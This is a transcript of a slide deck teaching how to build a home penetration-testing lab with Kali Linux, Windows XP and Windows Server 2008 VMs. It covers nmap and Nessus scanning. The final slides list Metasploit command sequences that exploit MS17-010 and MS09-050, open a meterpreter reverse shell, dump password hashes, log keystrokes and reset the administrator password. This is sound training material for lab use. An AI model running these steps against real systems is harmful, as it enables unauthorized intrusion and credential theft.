free style penetration testing · penetration testing •pen-test, pen-testing •ethical hacking...

28
Free Style Penetration Testing

Upload: others

Post on 11-Jun-2020

50 views

Category:

Documents


1 download

TRANSCRIPT

Page 1: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Free Style Penetration Testing

Page 2: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Penetration Testing

• Pen-test, Pen-testing

• Ethical hacking techniques

• Weakness in the software systems -> security

• Weak-point

• Websites , Servers , Networks

Page 3: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Vulnerability vs Pen-testing

• Vulnerability testing• Just to identify the potential problems

• Pen-testing • Attack the problems

• Tools……………….• How to leverage• Hit the problem• Collect data• Security analysis

• Tools• Scanners• Attackers

Page 4: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Step

• List of Vulnerabilities/potential problem

• Rank in the order of priority/criticality

• Penetration tests(attack) -> Networks,Servers,Websites• Within network

• Outside network

• Corrected and fixed systems

Page 5: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install Vmware Workstation

• Download vmware workstation

• Search “vmware workstation download”

• Select “Workstation 15 Pro for Windows”

• Install “Vmware workstation 15 Pro for Windows”

Page 6: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install kali linux

• Download Kali linux

• Search “kali linux download”

• Select “Kali linux 64Bit” ISO File

• Create New Virtual Machine

• Select “Typical”

• Select “Installer disc image file(iso)”

• Browse to Kali linux iso file

• Guest Operating system “Linux”

• Version “Debian 9.x 64-bit”

Page 7: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install kali linux

• Virtual machine name “Kali_Linux”

• Location Default

• Specify Disk capacity default

• Select “Store virtual disk as a single file”

• Finish and Install Kali Linux

Page 8: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Customizing Kali Linux

• Install vmware tools• cd /media/cdrom0

• cp VMwareTools-10.2.0-7259539.tar.gz /root

• cd /root

• tar –zxvf VMwareTools-10.2.0-7259539.tar.gz

• cd /vmware-tools-distrib

• ./vmware-install.pl -d

• Run: apt-get update && apt-get upgrade

Page 9: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install Windows XP

• Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk)• Create New Virtual Machine• Select “Custom”• Choose the virtual machine hardware compatibility -> Default• Guest operation System Installation “I will install the operating system

later”• Select a guest Operation system “Microsoft Windows” • Version “Windows XP Professional”• Virtual machine name: “Windows XP”• Location : Default• Processor Configuration : Default

Page 10: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install Windows XP

• Memory for the virtual machine : Default

• Network Type “NAT”

• Select I/O Controller Types : Default

• Select a Disk Type : Default

• Select a Disk “Use an existing virtual disk”

• Select an Existing Disk : Browse to file “VirtualXPVHD_original.vmdk”

• Next

• Finish

• Install Windows XP (with no mouse :P)

Page 11: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install Windows XP

• Install vmware tools

• Firewall off

Page 12: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install Windows Server 2008

• Copy Windows Server 2008 ISO File

• Select “Typical”

• Select “I will install the operationg system later”

• Browse to Kali linux iso file

• Guest Operating system “Microsoft Windows”

• Version “Windows Server 2008”

• Virtual machine name “Windows Server 2008”

• Location Default

• Specify Disk capacity default

• Select “Store virtual disk as a single file”

• Finish

Page 13: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install Windows Server 2008

• Edit Virtual Machine Settings

• Add ISO file image to cd-rom

• Install Windows Server 2008

• Check out “Automatically activate Windows when I’m online”

• Do you want to enter your product key now? “No”

• Select “Windows Server 2008 Standard(Full Installation)”

• Checked “I have selected the edition of Windows that I purchased”

• Next

• Checked “I accept the license terms”

Page 14: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Install Windows Server 2008

• Which type of installation do you want? “Custom”

• Where do you want to install Windows? “Next”

• Wait…

• Set New Password

Page 15: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Configuring Windows Server 2008 AD

• Install vmware tools

• Add roles

• Next

• Select “Active Directory Domain Services”

• Next

• Install

• Close

• Open “Server manager”

Page 16: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Configuring Windows Server 2008 AD

• Select “Roles”• Click “Active Directory Domain Services”• Click “Run the Active Directory Domain Services Installation Wizard”• Next• Next• Select “Create a new domain in a new forest”• Name the forest root domain• Next• Next• Next

Page 17: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Configuring Windows Server 2008 AD

• Select “Yes, the computer will use a dynamically…”

• Do you want to continue? Yes

• Next

• Set Password

• Next

• Reboot

Page 18: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Testing Lab Connectivity

• Ping test form Kali Linux to Windows Server 2008

• Nmap test

Page 19: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Basic scanning

• Use nmap• “nmap –n –sV 192.168.138.0/24”

• Scan host• “nmap –n –sV 192.168.138.X”

• Check for fw• “nmap –n –sV 192.168.138.x –reason”

Page 20: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Nessus install in Kali Linux

• Open terminal

• Type “firefox https://www.tenable.com/products/nessus-home &”

• Register and download for amd64 version for kali linux

• Check activation code in your email

• Cd Downloads

• Install nessus “dpkg -i Nessus-8.1.1-debian6_amd64.deb”

• Start nessus service “/etc/init.d/nessusd start”

• Open nessus web “https://kali:8834”• Use root login

Page 21: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Customizing nessus

• Register with activation code

Page 22: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Scanning and hacking Windows XP

• Open nessus web

• New scan

• Select basic network scan

• Fill in windows xp Name,Targets

• Start scan

• See scan result

Page 23: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Scanning and hacking Windows XP

• Use msfconsole “msfconsole”

• “search ms17-010”

• “use exploit/windows/smb/ms17_010_psexec”

• “set RHOST 192.168.138.X”

• “set LHOST 192.168.138.X”

• “exploit”

• “sysinfo”

• “shell”

• “arp”

Page 24: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Scanning and hacking Windows XP

• “ifconfig”

• “netstat”

• “ps”

• “screenshot”

• “display /root/xxxx.jpeg”

Page 25: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Scanning and hacking Windows Server 2008

• Open nessus web

• New scan

• Select basic network scan

• Fill in Name,Targets

• Start scan

• See scan result

• Try to hack

Page 26: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Scanning and hacking Windows Server 2008

• Open Metasploit console “msfconsole”

• Search for Vulnerlability “search ms09-050”

• Select exploit • “use exploit/windows/smb/ms09_050_smb2_negotiate_func_index”

• See information “show info”

• See help “help”

• Set payload• “set PAYLOAD windows/meterpreter/reverse_tcp”

• Set Remote Host• “set RHOST 192.168.X.X”

• Set Local Host• “set LHOST 192.168.X.X”

Page 27: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Scanning and hacking Windows Server 2008

• Exploit the target host “exploit”

• Get User ID “getuid”

• Go in Windows shell “shell” -> “exit”

• See user file “hashdump”

• See windows screenshot “screenshot”

• Open screenshot “display /root/XXXXX.jpeg” (in terminal)”

• List running process “ps”

• Open notepad in Windows Server

• List running process “ps”

• Attach server to process “migrate xxx” (notepad)

List running process “ps”

Page 28: Free Style Penetration Testing · Penetration Testing •Pen-test, Pen-testing •Ethical hacking techniques ... •Copy Windows XP vmdk file (VirtualXPVHD_original.vmdk) •Create

Scanning and hacking Windows Server 2008

• Check process migrate to “getpid”

• Try to keystroke scan “keyscan_start”

• Check keystroke “keyscan_dump”

• Logoff from windows server

• Test Attach server to another process “migrate xxx” (winlogon)

• Can change administrator password

• “shell”

• “net user administrator newpassword”